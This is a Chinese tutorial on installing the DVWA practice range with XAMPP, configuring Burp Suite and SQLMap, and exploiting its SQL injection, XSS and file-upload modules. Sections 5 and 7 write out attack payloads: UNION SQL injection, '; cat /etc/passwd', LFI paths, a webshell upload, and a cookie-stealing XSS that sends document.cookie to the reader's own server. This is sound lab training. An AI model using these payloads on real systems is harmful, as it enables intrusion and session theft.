1. 项目概述与核心价值如果你对网络安全、Web渗透测试感兴趣或者想成为一名白帽子那么“靶场”这个词你一定不陌生。DVWA全称Damn Vulnerable Web Application翻译过来就是“该死的漏洞Web应用”它可以说是安全圈里最经典、最受欢迎的入门级靶场没有之一。我第一次接触它还是在十多年前当时为了搞懂一个SQL注入的原理在本地环境折腾了半天DVWA给了我一个可以随意“搞破坏”又不用担心后果的沙盒。这么多年过去了它依然是无数安全新人、开发者和测试工程师的启蒙老师。DVWA的核心价值就在于它的名字——故意设计得漏洞百出。它不是一个需要你去真实网站“以身试法”的危险品而是一个搭建在你本地或内网的安全实验室。里面集成了SQL注入、XSS跨站脚本、文件上传、命令执行等十多种最常见的Web漏洞并且为每个漏洞都设置了从“低”到“不可能”的四个安全等级。你可以从最简单的“低”级别开始直观地看到漏洞是如何被利用的然后挑战“中”和“高”级别学习各种安全防护机制比如输入过滤、令牌验证是如何被绕过的最后在“不可能”级别看到真正安全的代码应该怎么写。这个过程就是一个完整的“攻击与防御”思维训练。搭建DVWA的过程本身也是一次绝佳的学习机会。它不像安装一个普通软件那样点几下“下一步”就完事了你需要配置Web服务器如Apache、数据库如MySQL和PHP运行环境。这个过程会让你对Web应用的基础架构有一个直观的认识明白一个动态网站是如何运作的。很多新手卡在“环境配置”这一步其实这正是理解后续渗透测试的基础。今天我就以一个老鸟的身份带你从零开始手把手搭建一个功能完整的DVWA靶场并分享一些官方教程里不会写的配置技巧和避坑指南。2. 环境准备与工具选型在开始下载DVWA源码之前我们得先把它的“家”给准备好。DVWA是一个用PHP写的Web应用后端数据存在MySQL里所以我们需要一个能同时运行PHP和MySQL的服务器环境。对于新手来说最省事的选择是使用集成环境包。2.1 集成环境包选择XAMPP vs Others市面上主流的集成环境有XAMPP、WAMPWindows、MAMPMac、LAMPLinux手动搭建。对于绝大多数Windows用户我强烈推荐XAMPP。理由很简单它跨平台、免费、组件齐全Apache, MySQL, PHP, phpMyAdmin一次搞定而且社区活跃遇到问题容易找到解决方案。注意虽然用Docker搭建更“炫酷”也更干净但对于渗透测试学习而言XAMPP这类传统集成环境能让你更直接地接触到配置文件和服务管理这对理解Web服务器工作原理更有帮助。Docker我们可以在后续进阶时再玩。下载与安装要点访问Apache Friends官网下载对应你操作系统Windows 64位最常见的XAMPP安装包。建议下载PHP版本为7.x的稳定版因为DVWA对PHP 8的部分版本可能存在兼容性问题。安装路径千万不要选在中文目录或者带空格的目录下比如“C:\Program Files”就不太好。我习惯直接装在C:\xampp或D:\xampp路径简单后续命令行操作也方便。安装过程中Windows Defender或杀毒软件可能会弹出警告因为XAMPP要安装Apache和MySQL服务。选择“允许”或“更多信息-仍要运行”即可。安装最后一步会询问是否启动“Control Panel”控制面板。务必勾选这是我们管理服务的核心工具。2.2 获取DVWA源代码环境准备好了现在去请“主角”登场。DVWA的源代码托管在GitHub上。访问DVWA的官方GitHub仓库搜索“dvwa”即可找到。不要直接点“Download ZIP”那样下载的是最新的开发版可能不稳定。我们应该点击“Releases”标签页下载最新的稳定版本比如DVWA 2.0。将下载的ZIP包解压。你会得到一个名为DVWA-master或类似名称的文件夹。关键一步来了将这个文件夹重命名为dvwa全小写无空格然后剪切或复制到XAMPP的网站根目录下。XAMPP的默认网站根目录是C:\xampp\htdocs\最终你的DVWA路径应该是C:\xampp\htdocs\dvwa\实操心得为什么一定要重命名并放到htdocs下因为Apache服务器默认从这个目录提供网页文件。dvwa这个目录名将成为你访问靶场的URL的一部分如http://localhost/dvwa/。使用简单清晰的目录名能避免很多不必要的麻烦。2.3 基础服务检查与启动现在打开XAMPP控制面板。你可能会看到Apache和MySQL后面都是空白这表示服务未启动。分别点击Apache和MySQL所在行对应的“Start”按钮。如果启动成功按钮旁边的背景会变成绿色并显示该服务进程的PID进程ID。常见问题1Apache启动失败端口冲突。这通常是80端口被占用比如被IIS、Skype、其他Web服务器占用。解决方法点击Apache那一行的“Config”按钮选择“Apache (httpd.conf)”用记事本打开找到Listen 80这一行将其改为Listen 8080或其他未被占用的端口如8081。保存后重启Apache。之后访问地址需变为http://localhost:8080/dvwa/。常见问题2MySQL启动失败。可能是3306端口被占用或者之前有MySQL服务未正确卸载。可以尝试修改C:\xampp\mysql\bin\my.ini文件中的port 3306为其他端口但更简单的办法是检查任务管理器结束所有名为mysqld.exe的进程然后重新点击Start。启动成功后打开浏览器输入http://localhost/dvwa/如果你改了Apache端口则输入http://localhost:8080/dvwa/。如果能看到DVWA的安装引导页面那么恭喜你最基础的一步已经成功了。3. 核心配置详解与初始化看到安装页面只是第一步接下来才是配置的关键。你会看到一个红色的提示框告诉你一些配置需要检查或修改。别慌我们一个一个来解决。3.1 配置文件修改config.inc.phpDVWA的核心配置都在htdocs\dvwa\config目录下。这里有一个config.inc.php.dist文件这是配置模板。我们的任务是复制它并创建我们自己的配置文件。进入C:\xampp\htdocs\dvwa\config目录。找到config.inc.php.dist文件复制一份并将副本重命名为config.inc.php去掉.dist扩展名。用记事本或专业的代码编辑器如VS Code、Notepad打开这个新文件。我们需要关注以下几个关键配置项$_DVWA[ db_server ] 127.0.0.1; $_DVWA[ db_database ] dvwa; $_DVWA[ db_user ] root; $_DVWA[ db_password ] pssw0rd; $_DVWA[ db_port ] 3306;db_server: 数据库服务器地址。本地环境就用127.0.0.1或localhost。db_database: 数据库名默认dvwa不用改。db_user和db_password: 数据库用户名和密码。这里是第一个大坑XAMPP默认的MySQL root用户密码是空的即没有密码而不是模板里写的pssw0rd。所以你需要将db_password的值改为空字符串db_password ;。db_port: MySQL端口默认3306如果你没改过XAMPP的MySQL配置这里就不用动。$_DVWA[ default_security_level ] low;这个设置控制你每次登录DVWA后默认进入的漏洞难度等级。建议新手设为low方便练习。$_DVWA[ recaptcha_public_key ] ; $_DVWA[ recaptcha_private_key ] ;这两个是关于reCAPTCHA谷歌验证码的密钥用于“Insecure CAPTCHA”模块。如果你不想用或暂时搞不定可以留空。部分功能可能受限但不影响核心漏洞练习。修改完成后保存config.inc.php文件。3.2 数据库创建与用户权限设置虽然配置文件里写了数据库名dvwa但这个数据库并不存在需要我们手动创建或者让DVWA的安装脚本帮你创建。更推荐手动创建因为能让你更清楚背后发生了什么。打开浏览器访问http://localhost/phpmyadmin。这是XAMPP自带的数据库管理工具用户名root密码为空直接登录。登录后在左侧导航栏点击“新建”在“数据库名”输入框中输入dvwa排序规则选择utf8mb4_general_ci然后点击“创建”。数据库创建成功后我们还需要确保MySQL的root用户有足够的权限。点击顶部导航栏的“用户账户”。找到root用户对应的“localhost”主机一行点击“编辑权限”。在“全局权限”选项卡直接点击“全选”然后点击“执行”。这赋予了root用户所有数据库的所有权限。注意这仅在本地学习环境这样做生产环境绝对禁止3.3 文件权限与PHP设置调整回到DVWA的安装页面(http://localhost/dvwa/setup.php)刷新一下。红色错误提示应该会减少。但可能还会剩下关于reCAPTCHA密钥和PHP function allow_url_include的警告。reCAPTCHA警告可以忽略如前所述。allow_url_include警告这个PHP配置项如果为Disabled会影响“File Inclusion”文件包含漏洞模块的远程文件包含(RFI)功能。为了完整的学习体验我们需要开启它。找到XAMPP的PHP配置文件C:\xampp\php\php.ini。用编辑器打开按CtrlF搜索allow_url_include。你会找到一行allow_url_includeOff把它改成allow_url_includeOn。保存文件然后必须回到XAMPP控制面板重启Apache服务才能使配置生效。文件写入权限DVWA的config目录需要Web服务器Apache有写入权限以便在安装时生成一些临时文件或存储数据。通常XAMPP安装后权限是设置好的但如果遇到相关问题可以右键点击htdocs\dvwa文件夹 - 属性 - 安全 - 编辑给Users或Everyone组添加“写入”权限仅限本地学习环境。完成以上步骤后再次刷新setup.php页面。理想情况下你应该看到一个绿色的“Setup Check”表格所有项都是绿色的勾。最下方有一个醒目的按钮“Create / Reset Database”。4. 数据库初始化与首次登录这是搭建过程的临门一脚。4.1 执行数据库初始化点击“Create / Reset Database”按钮。这个操作会做两件事在刚才创建的dvwa数据库中创建所有必要的表如users,guestbook等。向表中插入初始数据包括两个默认用户账户。如果一切顺利页面会跳转到登录页面(http://localhost/dvwa/login.php)并显示“Setup Successful!”的提示。4.2 默认凭证与首次登录DVWA提供了两个默认用户用户名admin|密码password用户名gordonb|密码abc123还有一个1337/charley但常用的是前两个 使用任意一组凭证登录即可。强烈建议你登录后第一时间在“DVWA Security”页面将安全级别设置为“Low”。这样所有漏洞模块都会以最低防护级别运行最适合上手练习。重要安全警告至此你的DVWA靶场已经搭建完成。但请务必记住绝对不要将搭建好的DVWA部署到任何公网可访问的服务器如云主机上。它本身充满漏洞一旦暴露在公网几分钟内就会被自动化攻击脚本扫描到并攻陷可能导致你的服务器被当作跳板或肉鸡。它永远只应该运行在你的本地电脑或隔离的虚拟机/内网环境中。5. 核心模块初探与安全等级设置成功登录后左侧的导航栏就是DVWA的“漏洞菜单”。我们快速过一遍核心模块并理解安全等级的意义。5.1 核心漏洞模块简介Brute Force暴力破解模拟一个登录表单让你尝试用字典爆破用户名和密码。用于理解弱口令的危害和账户锁定机制。Command Injection命令注入提供一个输入框比如Ping功能如果后端代码对输入处理不当你可以注入系统命令如; cat /etc/passwd来执行。CSRF跨站请求伪造模拟一个修改密码的页面教你如何构造一个恶意链接或页面诱骗已登录的用户在不知情的情况下执行敏感操作。File Inclusion文件包含包括本地文件包含(LFI)和远程文件包含(RFI)。通过包含服务器上的敏感文件如../../../../etc/passwd或远程恶意脚本来获取信息或控制服务器。File Upload文件上传模拟一个上传头像或附件的功能。学习如何绕过前端和后端的文件类型检查上传Webshell如一句话木马从而控制服务器。Insecure CAPTCHA不安全的验证码展示一个验证码实现逻辑有缺陷的场景如何绕过验证码的验证步骤。SQL InjectionSQL注入最核心的模块之一。提供一个用户查询接口通过注入恶意的SQL语句来窃取、篡改或删除数据库中的数据。有基于错误的注入、盲注等多种类型。SQL Injection (Blind)SQL盲注SQL注入的一种特殊形式页面不会直接返回数据库错误信息你需要通过页面返回的“真/假”或时间延迟来一点点推断数据。更贴近实战。XSS (Reflected)反射型XSS恶意脚本来自用户的本次请求并立即在页面响应中执行。常见于搜索框、错误信息提示处。XSS (Stored)存储型XSS恶意脚本被存储到服务器端如数据库当其他用户访问特定页面时触发。危害更大如留言板、昵称处的XSS。CSP Bypass内容安全策略绕过学习如何绕过一种名为CSP的现代浏览器安全策略。JavaScript一些基于JavaScript的挑战用于理解前端安全。5.2 安全等级详解与切换在左侧菜单找到“DVWA Security”并点击。这里就是控制整个靶场难度的总开关。Low毫无防护。代码几乎不对用户输入做任何过滤和检查漏洞利用起来直截了当。新手务必从这里开始目的是理解漏洞最原始的原理和利用方式。Medium引入了一些基础的防护措施比如用了mysql_real_escape_string()来防SQL注入用了strip_tags()来防XSS。但这些防护往往存在缺陷可以被绕过。这个等级教你理解“不完整”的安全措施是多么危险。High采用了更强但可能仍非最佳的防护手段比如使用预编译语句PDO防SQL注入使用了更严格的过滤规则。绕过需要更精巧的Payload和更深的理解。Impossible展示了当前语境下“几乎不可能”被攻破的代码实现。例如使用参数化查询、严格的输入白名单验证、安全的会话管理等。这个等级不是用来攻击的而是用来学习正确的安全编码应该怎么写。切换等级后记得点击“Submit”按钮使设置生效。每个漏洞模块页面的右下角也会显示当前的安全等级。6. 必备工具链配置与联动一个纯粹的DVWA靶场就像给你一把没开刃的剑。要想真正练习渗透测试你需要一套“磨刀石”和“剑法”——也就是安全工具。我们配置它们与DVWA联动。6.1 浏览器开发者工具与代理设置这是最基础、最强大的工具内置于任何现代浏览器Chrome/Firefox的F12。用途查看和修改前端代码HTML/JS、监控网络请求Network标签、查看和操作CookieApplication标签、调试JavaScript。在DVWA中的实战应用在暴力破解模块你可以用Network标签看到登录请求的格式在XSS模块你可以直接在前端修改输入长度限制在任何有表单提交的地方你可以查看提交的具体参数。6.2 Burp Suite社区版配置Burp Suite是Web渗透测试的“瑞士军刀”社区版免费功能对于学习DVWA绰绰有余。下载安装从PortSwigger官网下载。启动与代理设置启动Burp在Proxy - Options选项卡确保代理监听在127.0.0.1:8080这是Burp默认设置。配置浏览器代理安装浏览器插件如SwitchyOmega或直接设置系统/浏览器代理为HTTP 127.0.0.1:8080。更推荐使用插件可以方便地切换。拦截请求打开Burp的“Proxy - Intercept”确保“Intercept is on”。然后用设置了代理的浏览器访问DVWA。你的第一个HTTP请求会被Burp截获。你可以在这里查看、修改请求比如修改参数值、添加攻击载荷再转发给服务器。重放与扫描在“Proxy - HTTP history”可以看到所有经过的请求右键可以发送到Repeater用于手动修改和重复发送测试漏洞或Intruder用于自动化爆破、模糊测试。实操心得第一次用Burp访问DVWA的登录页面时浏览器可能会因为Burp的默认自签名证书而报“不安全”警告。你需要访问http://burpsuite下载Burp的CA证书并导入到浏览器的受信任根证书颁发机构中。这是让Burp能够解密HTTPS流量的关键一步尽管DVWA本地是HTTP但养成这个习惯很重要。6.3 SQLMap的集成使用SQLMap是一个自动化的SQL注入检测与利用工具。在DVWA的SQL注入模块你可以用它来快速验证漏洞并拖库。准备确保你安装了Python并从官网下载SQLMap。基本使用首先在DVWA SQL注入页面手动输入一个单引号触发一个错误在Low安全等级下。从错误信息或页面回显中找到注入点的URL如http://localhost/dvwa/vulnerabilities/sqli/?id1SubmitSubmit。打开命令行进入sqlmap目录执行python sqlmap.py -u http://localhost/dvwa/vulnerabilities/sqli/?id1SubmitSubmit --cookiePHPSESSID你的会话ID; securitylow这里有两个关键参数-u: 目标URL。--cookie: 因为DVWA需要登录后才能访问漏洞页面所以必须带上你的会话Cookie。你可以从浏览器的开发者工具Application - Cookies中复制PHPSESSID和security的值。获取数据SQLMap会自动检测注入类型。确认后你可以用--dbs枚举数据库用-D dvwa --tables枚举dvwa数据库的表用-D dvwa -T users --dump导出users表的所有数据。重要伦理提醒SQLMap功能强大请仅在你自己搭建的DVWA或获得明确授权的测试目标上使用。7. 从低到高实战通关思路与技巧现在我们以几个核心模块为例讲解从Low到High级别的通关思路分享一些实用的技巧。7.1 SQL Injection (Low to High)Low级别现象输入1页面直接报出数据库错误如You have an error in your SQL syntax...。原理后端代码直接拼接用户输入id到SQL语句中SELECT ... FROM users WHERE id $id。输入1导致语句变成... WHERE id 1语法错误。利用判断列数使用1 ORDER BY 1--递增数字直到页面报错。假设ORDER BY 4出错则说明查询结果有3列。判断回显点使用1 UNION SELECT 1,2,3--看页面中哪个数字被显示出来比如显示2和3那么2和3的位置就可以用来显示我们想查询的数据。获取信息1 UNION SELECT 1, database(), user()--可以爆出当前数据库名和用户名。拖库1 UNION SELECT 1, group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadatabase()--爆出所有表名。然后类似方法爆字段名、数据。Medium级别变化前端变成了下拉菜单后端用mysql_real_escape_string()处理输入并且id参数不再是字符串而是整数$id intval($_POST[id])。绕过mysql_real_escape_string()只能防字符串注入对于数字型的id它根本不会被调用因为intval()已经将输入转为整数。所以攻击点从输入框变成了抓包修改POST数据。用Burp Suite拦截提交的请求将id参数直接修改为1 UNION SELECT 1,version,3之类的Payload即可。这里的关键是理解漏洞的上下文数字型和防护函数的局限性。High级别变化输入被限制在单独的弹出页面并且使用了预编译语句PDO这几乎能完全杜绝SQL注入。挑战在这个级别通常的注入手段是无效的。它的存在更多是为了展示PDO的正确用法。但有时开发者可能错误地使用了PDO比如将变量直接拼接到SQL字符串里再交给PDO执行那就另当别论了。在标准的DVWA High级别中可以认为SQL注入漏洞已被修复。7.2 Cross-Site Scripting (Stored) (Low to High)Low级别现象在留言板Guestbook的Name和Message输入框可以直接输入scriptalert(XSS)/script并成功存储下次任何用户访问该页面都会弹窗。原理后端对输入没有任何过滤直接存入数据库并输出到页面。利用除了弹窗可以构造窃取Cookie的Payloadscriptnew Image().srchttp://你的服务器/steal.php?cdocument.cookie;/script。你需要在自己的服务器上准备一个steal.php来接收Cookie。Medium级别变化后端使用了strip_tags()函数它会移除HTML标签。script标签会被移除。绕过strip_tags()默认允许一些“安全”的标签或者我们可以利用它的逻辑缺陷。例如输入scrscriptiptalert(1)/script中间的script被移除后两边的字符会拼接成新的script。更常见的是利用HTML事件属性或img、svg等标签。例如img srcx onerroralert(1)。strip_tags()可能不会移除onerror这种属性从而触发XSS。High级别变化使用了更强大的过滤函数如htmlspecialchars()它会将,,,,等字符转换为HTML实体如变为lt;从而使其在浏览器中显示为普通文本而不会被解析为HTML标签或属性。挑战在输出端正确使用htmlspecialchars($string, ENT_QUOTES, UTF-8)可以防御绝大多数XSS。High级别通常展示了这种安全的输出方式。绕过极其困难通常需要结合其他漏洞如浏览器0day。7.3 File Upload (Low to High)Low级别现象上传页面只在前端用JavaScript检查了文件扩展名。绕过直接禁用浏览器JS。用Burp拦截上传请求将文件名shell.jpg改为shell.php。上传一个图片马将PHP代码写入图片的EXIF信息然后结合文件包含漏洞来执行。利用上传一个内容为?php phpinfo(); ?的shell.php文件访问http://localhost/dvwa/hackable/uploads/shell.php即可看到PHP信息页面。Medium级别变化后端用$_FILES[uploaded][type]检查MIME类型只允许image/jpeg或image/png。绕过MIME类型是由浏览器在HTTP请求头中的Content-Type字段声明的完全可以被伪造。用Burp拦截上传请求将Content-Type: application/x-php修改为Content-Type: image/jpeg即可。技巧也可以制作一个真正的图片但包含PHP代码。用命令copy shell.jpg /b shell.php /b webshell.jpgWindows制作一个包含PHP代码的图片然后通过文件包含漏洞来执行其中的PHP代码。High级别变化进行了更严格的检查检查文件扩展名黑名单或白名单、检查文件头魔术字节、甚至可能重命名文件。绕过思路白名单绕过如果是白名单只允许.jpg,.png直接上传.php是不可能的。需要寻找解析漏洞。例如旧版本Apache的1.php.jpg可能被解析为PHP文件如果配置了AddHandler。或者在IIS中shell.php;.jpg可能被解析为shell.php。文件头欺骗在文件开头添加图片的魔术字节如FF D8 FF E0for JPEG。竞争条件如果服务器先保存文件再检查并删除不合规的文件可以利用这个时间差访问上传的文件。结合其他漏洞这是最常用的方式。如果服务器对上传目录有执行权限我们可以上传一个.htaccess文件针对Apache配置将.jpg文件解析为PHP。或者如前所述上传图片马然后利用本地文件包含(LFI)漏洞来包含并执行它。在DVWA High级别通常需要结合File Inclusion模块的LFI漏洞来完成利用。8. 常见问题排查与进阶配置即使按照教程你也可能会遇到一些奇怪的问题。这里汇总一些高频问题。8.1 连接数据库失败症状点击“Create / Reset Database”后报错或登录时提示数据库连接错误。排查检查config.inc.php中的密码确保$_DVWA[ db_password ]对于XAMPP是空字符串。检查MySQL服务状态XAMPP控制面板中MySQL是否亮绿灯。检查端口确认config.inc.php中的db_port与XAMPP MySQL实际端口一致默认3306。手动连接测试打开命令行输入mysql -u root -p直接回车密码为空。如果能进入MySQL命令行说明数据库服务本身正常问题在DVWA配置。检查php.ini扩展确保php.ini中extensionmysqli和extensionpdo_mysql前面没有分号;分号是注释。修改后需重启Apache。8.2 页面显示乱码或PHP代码症状访问DVWA页面显示的是PHP源代码而不是渲染后的HTML。原因PHP解析器没有工作。解决确保Apache服务已启动。检查C:\xampp\apache\conf\httpd.conf确保有类似LoadModule php_module C:/xampp/php/php8apache2_4.dll和AddHandler application/x-httpd-php .php的配置且路径正确。最简单的方法重新运行一遍XAMPP的安装程序选择修复。8.3 重置按钮无效或数据混乱症状在“Setup”页面点击“Create / Reset Database”没反应或者练习时数据库数据错乱。解决手动重置打开phpMyAdmin (http://localhost/phpmyadmin)选中左侧的dvwa数据库点击顶部“操作”选项卡在“删除数据库或数据表”区域勾选“删除前添加DROP语句”然后点击“执行”。这将彻底删除数据库。然后回到DVWA的setup.php页面再次点击创建按钮。检查文件权限确保htdocs\dvwa\hackable\config和htdocs\dvwa\external\phpids等目录对Web服务器有写入权限。8.4 在虚拟机或Docker中部署需求为了更隔离、更便携很多人选择在虚拟机如VMware装Kali Linux或Docker中部署DVWA。虚拟机KaliKali Linux通常预装了LAMP环境或至少装了Apache、MySQL、PHP。步骤类似将DVWA源码放到/var/www/html/配置MySQLKali默认MySQL root密码可能是toor修改config.inc.php调整PHP设置/etc/php/版本/apache2/php.ini最后在浏览器用Kali的IP访问。Docker这是最干净快捷的方式。可以直接拉取官方镜像docker pull vulnerables/web-dvwa然后运行docker run --rm -it -p 80:80 vulnerables/web-dvwa。访问宿主机的IP即可。Docker方式几乎免配置但可能不利于初学者理解底层环境。8.5 汉化与界面优化默认DVWA是英文界面对于部分初学者可能有些障碍。汉化GitHub上有社区维护的中文语言包。通常是一个chinese.php文件将其放入dvwa\languages目录然后在config.inc.php中设置$_DVWA[ default_language ] chinese;即可。界面优化DVWA的界面比较复古。你可以通过修改dvwa\dvwa\css目录下的CSS文件来自定义样式。不过作为学习工具功能完备比界面美观更重要。搭建和配置DVWA的过程本身就是一次宝贵的实战学习。它强迫你去理解Web服务、数据库、PHP配置以及它们之间的交互。当你终于看到绿色的登录界面并成功利用第一个SQL注入漏洞爆出数据库名时那种成就感是无可替代的。记住这个靶场是你的沙盒请尽情探索、大胆尝试、反复破坏和重建。每一次错误和排查都会让你离理解Web安全的本质更近一步。安全之路始于足下而DVWA正是那块最坚实的垫脚石。